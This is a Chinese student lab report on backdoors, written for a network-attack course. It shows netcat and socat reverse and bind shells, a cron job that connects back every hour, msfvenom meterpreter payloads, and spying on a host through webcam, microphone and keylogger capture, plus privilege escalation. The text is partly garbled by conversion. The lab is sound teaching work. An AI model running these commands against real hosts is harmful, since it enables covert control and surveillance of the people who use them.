2018-2019-2 20165330《网络对抗技术》Exp2 后门原理与实践

目录


实验内容

返回目录html


基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?linux

    有时在网页版下载软件的安装包时,会藏有后门程序,当启动安装包进行安装,后门就潜入到系统中。web

  • 例举你知道的后门如何启动起来(win及linux)的方式?shell

    • 假装成经常使用软件,诱使用户点击
    • 远程监遵从而反向链接被控主机,发送后门,控制后门启动
    • linux的cron程序被修改,使得自动定时执行后门程序
  • Meterpreter有哪些给你映像深入的功能?windows

    能够获取被控主机的音频文件、开启摄像头和录像功能,捕获画面。安全

  • 如何发现本身有系统有没有被安装后门?tcp

    • 按期用电脑所下载的杀毒软件对系统进行检测,及时处理可疑程序
    • 开启防火墙,查看开启的端口及对应的进程,通常不是系统默认开启的端口都是可疑的,再结合对应进程的抓包查看通讯数据分析是否为后门。

返回目录编辑器


相关知识

ncat

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其余工具结合使用,起到后门的做用。
  • Linux中通常自带ncat,可使用man netcatman nc可查看其使用说明
  • Win得到Linux Shell
    • windows打开监听:ncat.exe -l -p 5330
    • Linux反弹链接win:nc 192.168.56.1 5330 -e /bin/sh(IP为win IP)
    • windows下得到一个linux shell,可运行任何指令,如ls
      image
  • Linux得到Win Shell
    • Linux运行监听指令:nc -l -p 5330
    • Windows反弹链接Linux:ncat.exe -e cmd.exe 192.168.107.128 5330(IP为Linux IP)
    • Linux下看到Windows的命令提示
      image
  • 传输数据
    • Windows下监听端口:ncat.exe -l -p 5330
    • Linux下链接到Windows的端口:ncat 192.168.56.1 5330(IP为win IP)
    • 创建链接以后,就能够传输数据
      image

socat

  • socatncat的加强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是创建两个双向的字节流,数据就在其间传输,参数address就是表明了其中的一个方向。所谓流,表明了数据的流向,而数据则能够有许多不一样的类型,命令中也就相应须要许多选项对各类不一样的类型数据流进行限定与说明。

Meterpreter

返回目录工具


实验步骤

使用netcat获取主机操做Shell,cron启动
  • 这里将kali做为被攻击目标
  • 在Windows下打开命令行,使用ipconfig查看Windows的IP地址为192.168.56.1
    image
  • Windows中使用ncat.exe -l 5330监听5330端口
    image
  • 在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3",在底行插入30 * * * * /bin/netcat 192.168.56.1 5330 -e /bin/sh(意为在每一个小时的第30分钟反向链接Windows的5330端口)
    image
  • :wq保存退出配置即生效,可经过crontab -l查看
  • 在系统时间到第30分钟,就发现得到kali shell
    image
使用socat获取主机操做Shell, 任务计划启动
  • win10系统中找到左下角的windows标志:右键-计算机管理-任务计划程序-建立任务
    image
  • 常规中填写任务名称后(我填写了win),触发器-新建新建触发器,而后肯定
    image
  • 操做-新建,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5330 exec:cmd.exe,pty,stderr(意为把cmd.exe绑定到端口5330,同时把cmd.exestderr重定向到stdout上)
    image
  • 建立完成以后,按Windows+L快捷键锁定计算机,再次打开时,双击任务计划程序库能够发现以前建立的任务已经开始运行
    image
  • 在kali中输入socat - tcp:192.168.56.1:5330(-表明标准的输入输出,第二个流链接到Windows主机的5330端口,IP为windows的IP),接着能够发现已经成功得到一个cmd shell
    image
使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -f exe > 20165330_backdoor.exe(IP为kali的IP)生成后门程序20165330_backdoor.exe
  • 在Windows中使用ncat.exe -lv 5330 > 20165330_backdoor.exe查看链接状态
    image
  • kali中输入nc 192.168.56.1 5330 < 20165330_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上
  • 传输成功
    image
    image
  • 此时kali中新打开一个终端,使用msfconsole进入msf控制台
    image
  • 输入use exploit/multi/handler使用监听模块,设置payload
  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)
  • 端口号也相同:set LPORT 5330
  • 设置完成后,exploit开始监听
    image
  • 在Windows中先使用ctrl+c退出上条命令,在执行:20165330_backdoor.exe(注意电脑的防火墙和杀毒软件要关掉),发现kali得到Windows主机的链接,而且获得了远程控制的shell
    image
使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 重复上个内容操做至exploit
  • 可使用record_mic能够截获一段音频
    image
  • 使用webcam_snap可使用摄像头进行拍照
    image
  • 使用screenshot能够进行截屏
    image
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
    image
  • 还可使用getuid查看当前用户,使用getsystem进行提权
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell

参考博客:任胤同窗博客学姐博客msfvenom命令说明
第一种:ui

  • 这里是kali本身监听本身,首先生成一段shellcodemsfvenom -p linux/x86/meterpreter/shell_reverse_tcp -b '\x00\x0a\0d' LHOST=192.168.246.128 LPORT=5330 -f c(IP为kali本身的IP)
    image
  • 使用实验一中的第三部分步骤将生成的shellcode注入到pwn1中(注意去掉引号和空格),步骤点这里,随后找到shellcode地址0xffffd370
    image
  • 注入成功后,kali中打开新的终端,输入msfconsole进入MSF控制台
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • 使用和生成后门程序时相同的payload:set payload linux/x86/meterpreter/reverse_tcp
    • set LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)
    • 端口号也相同:set LPORT 5330
    • 设置完成后,exploit开始监听
      image
  • 旧的终端中运行pwn1(cat input_shellcode;cat) | ./pwn1
  • 发现没有反应。。。缘由在于生成的shellcode有问题。。

第二种:

  • MSF能够实现直接将shellcode注入可执行文件
  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.246.128 LPORT=5330 -x /root/pwn2 -f elf > pwn3(-x参数为指定一个自定义的可执行文件做为模板,这里将shellcode弄到pwn1模板中)
    image
  • msfconsole进入MSF控制台
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • 使用和生成后门程序时相同的payload:set payload linux/x86/meterpreter/reverse_tcp
    • set LHOST 192.168.246.128此处为kali的IP(和生成后门程序时指定的IP相同)
    • 端口号也相同:set LPORT 5330
    • 设置完成后,exploit开始监听
  • 加权限运行pwn3
    image
  • 获得shell命令
    image

第三种(符合要求的)

  • 官网下载生成好的shellcode
    image
  • 将其中的code部分注入pwn1
    image
  • 打开新的终端进入msf控制台:msfconsole
    • 输入use exploit/multi/handler使用监听模块,设置payload
    • 使用和生成后门程序时相同的payload:set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1此处为kali的IP(和生成后门程序时指定的IP相同)
    • 端口号也相同:set LPORT 4444
    • 设置完成后,exploit开始监听
      image
  • 执行:(cat input_shellcode;cat) | ./pwn1(注意回车)
    image
  • 发现已得到shell
    image
    ps:若是没成功把注入的部分从头开始再找一遍地址从头开始注入

返回目录


实验过程当中遇到的问题

  • 在进入msf控制台时,发现进入不了,出现如下错误
    image

    解决办法:我一开始成功进入之后,又退出,后面重复屡次生成后门程序,可能这其中致使程序再也不是原始的,我将两边的程序都删除后,重启电脑在从新按步骤后成功。

  • 在进入msf控制台后,进入监听是报错,出现Session manipulation failed: Cannot allocate memory

    解决办法:该错误是提示没法分配内存,我设置的内存是1G,将虚拟机关机,进入虚拟机-设置-内存,将内存改大一倍在开启虚拟机便可。


实验总结与体会

  • 经过本次实验我明白了后门的基本原理,按照老师文档和学长学姐博客的指导一步步完成实验,才了解到后门的"威力",也告诉了咱们平时要多注意网上安全,留意恶意程序;在实践中一步步的操做也着实吸引我尝试不一样的内容,但愿在以后能够尝试出结果、更清晰本身的步骤,有更多收获。
相关文章
相关标签/搜索